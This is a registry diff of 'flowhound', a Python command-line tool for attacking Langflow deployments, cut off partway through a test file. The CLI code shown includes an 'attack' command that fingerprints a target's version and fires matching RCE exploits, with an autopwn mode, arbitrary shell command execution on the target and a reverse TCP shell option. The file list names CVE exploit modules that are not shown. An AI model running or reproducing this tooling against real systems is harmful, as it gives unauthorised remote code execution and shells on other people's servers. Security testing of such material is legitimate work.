flowhound 1.0.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- flowhound/__init__.py +0 -0
- flowhound/__main__.py +28 -0
- flowhound/cli/__init__.py +0 -0
- flowhound/cli/banner.py +45 -0
- flowhound/cli/command.py +216 -0
- flowhound/cli/message_format.py +52 -0
- flowhound/cli/validators.py +39 -0
- flowhound/tests/__init__.py +0 -0
- flowhound/tests/test_base_exploit_class.py +124 -0
- flowhound/tests/test_command.py +262 -0
- flowhound/tests/test_cve.py +127 -0
- flowhound/tests/test_database.py +84 -0
- flowhound/tests/test_message_format.py +149 -0
- flowhound/tests/test_payloads.py +89 -0
- flowhound/tests/test_validators.py +106 -0
- flowhound/tests/test_version_detection.py +125 -0
- flowhound/vulnerabilities/__init__.py +0 -0
- flowhound/vulnerabilities/cve/__init__.py +0 -0
- flowhound/vulnerabilities/cve/cve.py +78 -0
- flowhound/vulnerabilities/exploits/__init__.py +0 -0
- flowhound/vulnerabilities/exploits/base_exploit_class.py +135 -0
- flowhound/vulnerabilities/exploits/cve_2026_0768.py +102 -0
- flowhound/vulnerabilities/exploits/cve_2026_10134.py +387 -0
- flowhound/vulnerabilities/exploits/cve_2026_18729.py +118 -0
- flowhound/vulnerabilities/exploits/cve_2026_19286.py +260 -0
- flowhound/vulnerabilities/exploits/cve_2026_19295.py +292 -0
- flowhound/vulnerabilities/exploits/cve_2026_5027.py +126 -0
- flowhound/vulnerabilities/exploits/cve_2026_7873.py +77 -0
- flowhound/vulnerabilities/exploits/cve_2026_9198.py +77 -0
- flowhound/vulnerabilities/io/__init__.py +0 -0
- flowhound/vulnerabilities/io/database.py +109 -0
- flowhound/vulnerabilities/io/version_detection.py +87 -0
- flowhound/vulnerabilities/payloads/__init__.py +14 -0
- flowhound/vulnerabilities/payloads/base_payload_class.py +23 -0
- flowhound/vulnerabilities/payloads/execute_bash_command.py +16 -0
- flowhound/vulnerabilities/payloads/reverse_tcp_shell.py +21 -0
- flowhound-1.0.1.dist-info/METADATA +193 -0
- flowhound-1.0.1.dist-info/RECORD +43 -0
- flowhound-1.0.1.dist-info/WHEEL +5 -0
- flowhound-1.0.1.dist-info/entry_points.txt +2 -0
- flowhound-1.0.1.dist-info/licenses/LICENSE +21 -0
- flowhound-1.0.1.dist-info/top_level.txt +2 -0
- scripts/validate_architecture.py +86 -0
flowhound/__init__.py
ADDED
|
File without changes
|
flowhound/__main__.py
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
import logging
|
|
2
|
+
|
|
3
|
+
import click
|
|
4
|
+
|
|
5
|
+
from flowhound.cli.command import attack, sniff
|
|
6
|
+
from flowhound.cli.message_format import ClickLogHandler
|
|
7
|
+
from flowhound.vulnerabilities.io.database import Database
|
|
8
|
+
|
|
9
|
+
_logger = logging.getLogger("flowhound")
|
|
10
|
+
_logger.setLevel(logging.INFO)
|
|
11
|
+
if not _logger.handlers:
|
|
12
|
+
_logger.addHandler(ClickLogHandler())
|
|
13
|
+
|
|
14
|
+
CONTEXT_SETTINGS = {"help_option_names": ["-h", "--help"]}
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
@click.group(context_settings=CONTEXT_SETTINGS)
|
|
18
|
+
@click.pass_context
|
|
19
|
+
def main(ctx: click.Context):
|
|
20
|
+
ctx.ensure_object(dict)
|
|
21
|
+
ctx.obj = Database()
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
main.add_command(attack)
|
|
25
|
+
main.add_command(sniff)
|
|
26
|
+
|
|
27
|
+
if __name__ == "__main__":
|
|
28
|
+
main()
|
|
File without changes
|
flowhound/cli/banner.py
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
from flowhound.cli.message_format import output_banner
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
def banner():
|
|
5
|
+
output_banner("""
|
|
6
|
+
███████╗██╗ ██████╗ ██╗ ██╗ ██╗ ██╗ ██████╗ ██╗ ██╗███╗ ██╗██████╗
|
|
7
|
+
██╔════╝██║ ██╔═══██╗██║ ██║ ██║ ██║██╔═══██╗██║ ██║████╗ ██║██╔══██╗
|
|
8
|
+
█████╗ ██║ ██║ ██║██║ █╗ ██║ ███████║██║ ██║██║ ██║██╔██╗ ██║██║ ██║
|
|
9
|
+
██╔══╝ ██║ ██║ ██║██║███╗██║ ██╔══██║██║ ██║██║ ██║██║╚██╗██║██║ ██║
|
|
10
|
+
██║ ███████╗╚██████╔╝╚███╔███╔╝ ██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝
|
|
11
|
+
╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝
|
|
12
|
+
|
|
13
|
+
Sniffing Insecure Langflow Deployments
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣾⣿⣿⣶⣦⡀
|
|
17
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
|
|
18
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
|
|
19
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
|
20
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏
|
|
21
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
|
22
|
+
⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏
|
|
23
|
+
⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠉
|
|
24
|
+
⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
|
|
25
|
+
⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
|
|
26
|
+
⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⢟⣥⣶⣶⣶⣄⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
27
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣏⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
|
28
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
29
|
+
⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
30
|
+
⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
31
|
+
⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
|
|
32
|
+
⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁
|
|
33
|
+
⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉
|
|
34
|
+
⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⣿⣿⣿⠋
|
|
35
|
+
⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿
|
|
36
|
+
⠀⢀⣠⣤⣴⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣿⣿⣇
|
|
37
|
+
⣴⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣷⡄
|
|
38
|
+
⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿
|
|
39
|
+
⢻⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⠃
|
|
40
|
+
⠀⠙⢿⣿⣿⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⡛⠁
|
|
41
|
+
⠀⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠿⠆
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
Every Flow Leaves Tracks.
|
|
45
|
+
""")
|
flowhound/cli/command.py
ADDED
|
@@ -0,0 +1,216 @@
|
|
|
1
|
+
import logging
|
|
2
|
+
from concurrent.futures import ThreadPoolExecutor
|
|
3
|
+
from concurrent.futures import TimeoutError as FutureTimeoutError
|
|
4
|
+
|
|
5
|
+
import click
|
|
6
|
+
|
|
7
|
+
from flowhound.cli.banner import banner
|
|
8
|
+
from flowhound.cli.validators import validate_proxy, validate_url
|
|
9
|
+
from flowhound.vulnerabilities.io.database import Database
|
|
10
|
+
from flowhound.vulnerabilities.io.version_detection import get_target_version
|
|
11
|
+
from flowhound.vulnerabilities.payloads import PAYLOAD_MAP
|
|
12
|
+
|
|
13
|
+
EXPLOIT_TIMEOUT = 60 # seconds before a single exploit attempt is abandoned
|
|
14
|
+
logger = logging.getLogger(__name__)
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def _get_payload(cmd: str | None, reverse_shell: str | None):
|
|
18
|
+
payload = None
|
|
19
|
+
|
|
20
|
+
if cmd:
|
|
21
|
+
payload = PAYLOAD_MAP["command"](cmd=cmd)
|
|
22
|
+
logger.info(f"Using execute_bash_command payload: {cmd!r}")
|
|
23
|
+
elif reverse_shell:
|
|
24
|
+
try:
|
|
25
|
+
lhost, lport_str = reverse_shell.rsplit(":", 1)
|
|
26
|
+
lport = int(lport_str)
|
|
27
|
+
except ValueError:
|
|
28
|
+
raise click.BadParameter(
|
|
29
|
+
"--reverse_shell must be formatted as LHOST:LPORT (e.g. 192.168.1.10:4444)."
|
|
30
|
+
)
|
|
31
|
+
|
|
32
|
+
if not (1 <= lport <= 65535):
|
|
33
|
+
raise click.BadParameter("Port must be between 1 and 65535.")
|
|
34
|
+
payload = PAYLOAD_MAP["reverse_shell"](lhost=lhost, lport=lport)
|
|
35
|
+
logger.info(f"Using reverse_tcp_shell payload: {lhost}:{lport}")
|
|
36
|
+
|
|
37
|
+
return payload
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def _execute_exploit(
|
|
41
|
+
exploit_module,
|
|
42
|
+
base_url: str,
|
|
43
|
+
username: str,
|
|
44
|
+
password: str,
|
|
45
|
+
proxies: dict[str, str] | None,
|
|
46
|
+
payload,
|
|
47
|
+
timeout: int = EXPLOIT_TIMEOUT,
|
|
48
|
+
) -> bool:
|
|
49
|
+
"""
|
|
50
|
+
Executes an exploit module with a cross-platform timeout.
|
|
51
|
+
"""
|
|
52
|
+
with ThreadPoolExecutor(max_workers=1) as executor:
|
|
53
|
+
future = executor.submit(
|
|
54
|
+
exploit_module.exploit,
|
|
55
|
+
base_url=base_url,
|
|
56
|
+
username=username,
|
|
57
|
+
password=password,
|
|
58
|
+
proxies=proxies,
|
|
59
|
+
payload=payload,
|
|
60
|
+
)
|
|
61
|
+
return future.result(timeout=timeout)
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
@click.command(help="Launch one or more exploits against a Langflow instance.")
|
|
65
|
+
@click.option(
|
|
66
|
+
"--url",
|
|
67
|
+
required=True,
|
|
68
|
+
help="URL of target Langflow instance",
|
|
69
|
+
callback=validate_url,
|
|
70
|
+
)
|
|
71
|
+
@click.option(
|
|
72
|
+
"--username", required=False, default="", help="Target Langflow instance username"
|
|
73
|
+
)
|
|
74
|
+
@click.option(
|
|
75
|
+
"--password", required=False, default="", help="Target Langflow instance password"
|
|
76
|
+
)
|
|
77
|
+
@click.option(
|
|
78
|
+
"--autopwn",
|
|
79
|
+
required=False,
|
|
80
|
+
is_flag=True,
|
|
81
|
+
default=False,
|
|
82
|
+
help="Launch all available exploits, instead of stopping at first successful attempt.",
|
|
83
|
+
)
|
|
84
|
+
@click.option(
|
|
85
|
+
"--proxy",
|
|
86
|
+
required=False,
|
|
87
|
+
default=None,
|
|
88
|
+
help="HTTP(s) proxy to use for network I/O operations",
|
|
89
|
+
callback=validate_proxy,
|
|
90
|
+
)
|
|
91
|
+
@click.option(
|
|
92
|
+
"--command",
|
|
93
|
+
"cmd",
|
|
94
|
+
required=False,
|
|
95
|
+
default=None,
|
|
96
|
+
help="Shell command to execute on the target (uses execute_bash_command payload).",
|
|
97
|
+
)
|
|
98
|
+
@click.option(
|
|
99
|
+
"--reverse_shell",
|
|
100
|
+
required=False,
|
|
101
|
+
default=None,
|
|
102
|
+
help="LHOST:LPORT for a reverse TCP shell payload (e.g. 192.168.1.10:4444).",
|
|
103
|
+
)
|
|
104
|
+
@click.pass_context
|
|
105
|
+
def attack(
|
|
106
|
+
ctx: click.Context,
|
|
107
|
+
url: str,
|
|
108
|
+
username: str,
|
|
109
|
+
password: str,
|
|
110
|
+
autopwn: bool,
|
|
111
|
+
proxy: str,
|
|
112
|
+
cmd: str | None,
|
|
113
|
+
reverse_shell: str | None,
|
|
114
|
+
):
|
|
115
|
+
banner()
|
|
116
|
+
db: Database = ctx.obj
|
|
117
|
+
has_credentials = False
|
|
118
|
+
logger.info("Checking target Langflow version.")
|
|
119
|
+
|
|
120
|
+
if cmd and reverse_shell:
|
|
121
|
+
raise click.UsageError("--command and --reverse_shell are mutually exclusive.")
|
|
122
|
+
if any([username, password]) and not all([username, password]):
|
|
123
|
+
raise click.BadParameter(
|
|
124
|
+
"`--username` and `--password` must be provided together."
|
|
125
|
+
)
|
|
126
|
+
elif username and password:
|
|
127
|
+
has_credentials = True
|
|
128
|
+
logger.warning(
|
|
129
|
+
"Langflow login credentials detected. Results will Include Auth RCE exploit modules."
|
|
130
|
+
)
|
|
131
|
+
|
|
132
|
+
proxies = {"http": proxy, "https": proxy} if proxy else None
|
|
133
|
+
|
|
134
|
+
# Determine payload to use
|
|
135
|
+
payload = _get_payload(cmd=cmd, reverse_shell=reverse_shell)
|
|
136
|
+
|
|
137
|
+
# Determine victim langflow version
|
|
138
|
+
try:
|
|
139
|
+
target_version = get_target_version(base_url=url, proxies=proxies)
|
|
140
|
+
except RuntimeError as e:
|
|
141
|
+
raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
|
|
142
|
+
|
|
143
|
+
# Determine vulns & corresponding exploit modules
|
|
144
|
+
try:
|
|
145
|
+
vuln_lst = db.retrieve_vulnerabilities(
|
|
146
|
+
target_version=target_version, is_auth=has_credentials
|
|
147
|
+
)
|
|
148
|
+
except Exception as e: # noqa: BLE001
|
|
149
|
+
raise click.ClickException(f"Error retrieving exploits: {e!s}")
|
|
150
|
+
|
|
151
|
+
# Fire exploits
|
|
152
|
+
logger.info(
|
|
153
|
+
f"{len(vuln_lst)} exploit(s) detected. Prioritizing unauth RCE exploits."
|
|
154
|
+
)
|
|
155
|
+
for vuln in vuln_lst:
|
|
156
|
+
click.echo("")
|
|
157
|
+
logger.info(
|
|
158
|
+
f"Launching exploit for {vuln.cve_id} that impacts Langflow versions {vuln.min_impacted_version} through {vuln.max_impacted_version}"
|
|
159
|
+
)
|
|
160
|
+
exploit_module = vuln.get_exploit_instance()
|
|
161
|
+
|
|
162
|
+
try:
|
|
163
|
+
result = _execute_exploit(
|
|
164
|
+
exploit_module=exploit_module,
|
|
165
|
+
base_url=url,
|
|
166
|
+
username=username,
|
|
167
|
+
password=password,
|
|
168
|
+
proxies=proxies,
|
|
169
|
+
payload=payload,
|
|
170
|
+
)
|
|
171
|
+
except FutureTimeoutError:
|
|
172
|
+
logger.warning(
|
|
173
|
+
f"Exploit for {vuln.cve_id} timed out after {EXPLOIT_TIMEOUT}s. Skipping."
|
|
174
|
+
)
|
|
175
|
+
result = False
|
|
176
|
+
|
|
177
|
+
if not autopwn and result:
|
|
178
|
+
logger.info("Exploitation successful. Stopping at first attempt.")
|
|
179
|
+
break
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
@click.command(help="Determine target Langflow version.")
|
|
183
|
+
@click.option(
|
|
184
|
+
"--url",
|
|
185
|
+
required=True,
|
|
186
|
+
help="URL of target Langflow instance",
|
|
187
|
+
callback=validate_url,
|
|
188
|
+
)
|
|
189
|
+
@click.option(
|
|
190
|
+
"--proxy",
|
|
191
|
+
required=False,
|
|
192
|
+
default=None,
|
|
193
|
+
help="HTTP(s) proxy to use for network I/O operations",
|
|
194
|
+
callback=validate_proxy,
|
|
195
|
+
)
|
|
196
|
+
@click.pass_context
|
|
197
|
+
def sniff(ctx: click.Context, url: str, proxy: dict[str, str] | None):
|
|
198
|
+
db: Database = ctx.obj
|
|
199
|
+
|
|
200
|
+
# Determine victim langflow version
|
|
201
|
+
logger.info("Checking target Langflow version.")
|
|
202
|
+
try:
|
|
203
|
+
target_version = get_target_version(base_url=url, proxies=proxy)
|
|
204
|
+
except RuntimeError as e:
|
|
205
|
+
raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
|
|
206
|
+
|
|
207
|
+
logger.info(f"Retrieving all known exploits for Langflow version {target_version}:")
|
|
208
|
+
try:
|
|
209
|
+
vuln_lst = db.retrieve_vulnerabilities(
|
|
210
|
+
target_version=target_version, is_auth=True
|
|
211
|
+
)
|
|
212
|
+
except Exception as e: # noqa: BLE001
|
|
213
|
+
raise click.ClickException(f"Error retrieving exploits: {e!s}")
|
|
214
|
+
|
|
215
|
+
for vuln in vuln_lst:
|
|
216
|
+
logger.info(vuln.exploit_module)
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
import logging
|
|
4
|
+
import sys
|
|
5
|
+
from typing import ClassVar
|
|
6
|
+
|
|
7
|
+
from click import echo, style
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
class ClickLogHandler(logging.Handler):
|
|
11
|
+
"""
|
|
12
|
+
Routes standard logging records to click.echo with custom styling and prefixes.
|
|
13
|
+
"""
|
|
14
|
+
|
|
15
|
+
LEVEL_STYLES: ClassVar[dict] = {
|
|
16
|
+
logging.DEBUG: {"fg": "cyan", "prefix": "[-] "},
|
|
17
|
+
logging.INFO: {"fg": "blue", "prefix": "[+] "},
|
|
18
|
+
logging.WARNING: {"fg": "yellow", "prefix": "[!] "},
|
|
19
|
+
logging.ERROR: {"fg": "red", "prefix": "[!] "},
|
|
20
|
+
logging.CRITICAL: {"fg": "red", "prefix": "[CRITICAL] ", "bold": True},
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
EXPLOIT_LOGGER_PREFIX = "flowhound.vulnerabilities.exploits"
|
|
24
|
+
|
|
25
|
+
def emit(self, record: logging.LogRecord):
|
|
26
|
+
try:
|
|
27
|
+
msg = self.format(record)
|
|
28
|
+
config = self.LEVEL_STYLES.get(
|
|
29
|
+
record.levelno, {"fg": "blue", "prefix": "[+] "}
|
|
30
|
+
).copy()
|
|
31
|
+
if record.levelno == logging.INFO and record.name.startswith(
|
|
32
|
+
self.EXPLOIT_LOGGER_PREFIX
|
|
33
|
+
):
|
|
34
|
+
config["fg"] = "green"
|
|
35
|
+
prefix = config.pop("prefix", "")
|
|
36
|
+
err_stream = record.levelno >= logging.ERROR
|
|
37
|
+
|
|
38
|
+
echo(
|
|
39
|
+
style(f"{prefix}{msg}", **config),
|
|
40
|
+
file=sys.stderr if err_stream else sys.stdout,
|
|
41
|
+
)
|
|
42
|
+
if err_stream:
|
|
43
|
+
sys.stderr.flush()
|
|
44
|
+
else:
|
|
45
|
+
sys.stdout.flush()
|
|
46
|
+
except Exception: # noqa: BLE001
|
|
47
|
+
self.handleError(record)
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
def output_banner(msg: str):
|
|
51
|
+
echo(style(msg, fg="cyan"), file=sys.stdout)
|
|
52
|
+
sys.stdout.flush()
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
import re
|
|
2
|
+
from urllib.parse import urlparse
|
|
3
|
+
|
|
4
|
+
import click
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
def validate_url(ctx, param, value) -> str:
|
|
8
|
+
try:
|
|
9
|
+
result = urlparse(value)
|
|
10
|
+
except Exception: # noqa: BLE001
|
|
11
|
+
raise click.BadParameter(f"Malformed URL: {value}")
|
|
12
|
+
|
|
13
|
+
if not result.scheme in ("http", "https") or not bool(result.netloc):
|
|
14
|
+
raise click.BadParameter(f"Malformed URL: {value}")
|
|
15
|
+
|
|
16
|
+
return value
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
def validate_proxy(ctx, param, value) -> dict | None:
|
|
20
|
+
if value is None:
|
|
21
|
+
return value
|
|
22
|
+
|
|
23
|
+
try:
|
|
24
|
+
result = urlparse(value)
|
|
25
|
+
except Exception: # noqa: BLE001
|
|
26
|
+
raise click.BadParameter(f"Malformed URL: {value}")
|
|
27
|
+
|
|
28
|
+
if not result.scheme in ("http", "https") or not bool(result.netloc):
|
|
29
|
+
raise click.BadParameter(f"Malformed URL: {value}")
|
|
30
|
+
|
|
31
|
+
return {"http": value, "https": value}
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def validate_cve(ctx, param, value) -> str:
|
|
35
|
+
val_lowered = value.lower()
|
|
36
|
+
if value and not re.match("cve-\\d{4}-\\d{4,7}", val_lowered):
|
|
37
|
+
raise click.BadParameter("Must provide a correctly formatted CVE code.")
|
|
38
|
+
|
|
39
|
+
return val_lowered
|
|
File without changes
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
from unittest.mock import MagicMock, patch
|
|
2
|
+
|
|
3
|
+
import pytest
|
|
4
|
+
|
|
5
|
+
from flowhound.vulnerabilities.exploits.base_exploit_class import ExploitBaseClass
|
|
6
|
+
|
|
7
|
+
# ---------------------------------------------------------------------------
|
|
8
|
+
# Concrete stub — ExploitBaseClass is abstract
|
|
9
|
+
# ---------------------------------------------------------------------------
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
class ConcreteExploit(ExploitBaseClass):
|
|
13
|
+
def exploit(self, base_url, username, password, proxies=None, payload=None):
|
|
14
|
+
return True
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
# ---------------------------------------------------------------------------
|
|
18
|
+
# auto_login
|
|
19
|
+
# ---------------------------------------------------------------------------
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def test_auto_login_success():
|
|
23
|
+
mock_resp = MagicMock()
|
|
24
|
+
mock_resp.status_code = 200
|
|
25
|
+
mock_resp.json.return_value = {"access_token": "test-token-abc"}
|
|
26
|
+
|
|
27
|
+
with patch(
|
|
28
|
+
"flowhound.vulnerabilities.exploits.base_exploit_class.get",
|
|
29
|
+
return_value=mock_resp,
|
|
30
|
+
):
|
|
31
|
+
exploit = ConcreteExploit()
|
|
32
|
+
headers = exploit.auto_login(base_url="http://localhost:7860")
|
|
33
|
+
|
|
34
|
+
assert headers is not None
|
|
35
|
+
assert headers["Authorization"] == "Bearer test-token-abc"
|
|
36
|
+
assert headers["Content-Type"] == "application/json"
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def test_auto_login_non_200_returns_none():
|
|
40
|
+
mock_resp = MagicMock()
|
|
41
|
+
mock_resp.status_code = 403
|
|
42
|
+
mock_resp.json.return_value = {}
|
|
43
|
+
|
|
44
|
+
with patch(
|
|
45
|
+
"flowhound.vulnerabilities.exploits.base_exploit_class.get",
|
|
46
|
+
return_value=mock_resp,
|
|
47
|
+
):
|
|
48
|
+
exploit = ConcreteExploit()
|
|
49
|
+
result = exploit.auto_login(base_url="http://localhost:7860")
|
|
50
|
+
|
|
51
|
+
assert result is None
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
def test_auto_login_network_error_raises_runtime_error():
|
|
55
|
+
with patch(
|
|
56
|
+
"flowhound.vulnerabilities.exploits.base_exploit_class.get",
|
|
57
|
+
side_effect=ConnectionError("refused"),
|
|
58
|
+
):
|
|
59
|
+
exploit = ConcreteExploit()
|
|
60
|
+
with pytest.raises(RuntimeError, match="Error querying API"):
|
|
61
|
+
exploit.auto_login(base_url="http://localhost:7860")
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
# ---------------------------------------------------------------------------
|
|
65
|
+
# authenticate
|
|
66
|
+
# ---------------------------------------------------------------------------
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
def test_authenticate_success():
|
|
70
|
+
mock_resp = MagicMock()
|
|
71
|
+
mock_resp.status_code = 200
|
|
72
|
+
mock_resp.json.return_value = {"access_token": "user-token-xyz"}
|
|
73
|
+
|
|
74
|
+
with patch(
|
|
75
|
+
"flowhound.vulnerabilities.exploits.base_exploit_class.post",
|
|
76
|
+
return_value=mock_resp,
|
|
77
|
+
):
|
|
78
|
+
exploit = ConcreteExploit()
|
|
79
|
+
headers = exploit.authenticate(
|
|
80
|
+
base_url="http://localhost:7860", username="admin", password="secret"
|
|
81
|
+
)
|
|
82
|
+
|
|
83
|
+
assert headers is not None
|
|
84
|
+
assert headers["Authorization"] == "Bearer user-token-xyz"
|
|
85
|
+
assert headers["Content-Type"] == "application/json"
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
def test_authenticate_non_200_returns_none():
|
|
89
|
+
mock_resp = MagicMock()
|
|
90
|
+
mock_resp.status_code = 401
|
|
91
|
+
mock_resp.json.return_value = {"detail": "Unauthorized"}
|
|
92
|
+
|
|
93
|
+
with patch(
|
|
94
|
+
"flowhound.vulnerabilities.exploits.base_exploit_class.post",
|
|
95
|
+
return_value=mock_resp,
|
|
96
|
+
):
|
|
97
|
+
exploit = ConcreteExploit()
|
|
98
|
+
result = exploit.authenticate(
|
|
99
|
+
base_url="http://localhost:7860", username="admin", password="wrongpass"
|
|
100
|
+
)
|
|
101
|
+
|
|
102
|
+
assert result is None
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
def test_authenticate_network_error_raises_runtime_error():
|
|
106
|
+
with patch(
|
|
107
|
+
"flowhound.vulnerabilities.exploits.base_exploit_class.post",
|
|
108
|
+
side_effect=ConnectionError("refused"),
|
|
109
|
+
):
|
|
110
|
+
exploit = ConcreteExploit()
|
|
111
|
+
with pytest.raises(RuntimeError, match="Unable to authenticate with Langflow"):
|
|
112
|
+
exploit.authenticate(
|
|
113
|
+
base_url="http://localhost:7860", username="admin", password="secret"
|
|
114
|
+
)
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
# ---------------------------------------------------------------------------
|
|
118
|
+
# logger property
|
|
119
|
+
# ---------------------------------------------------------------------------
|
|
120
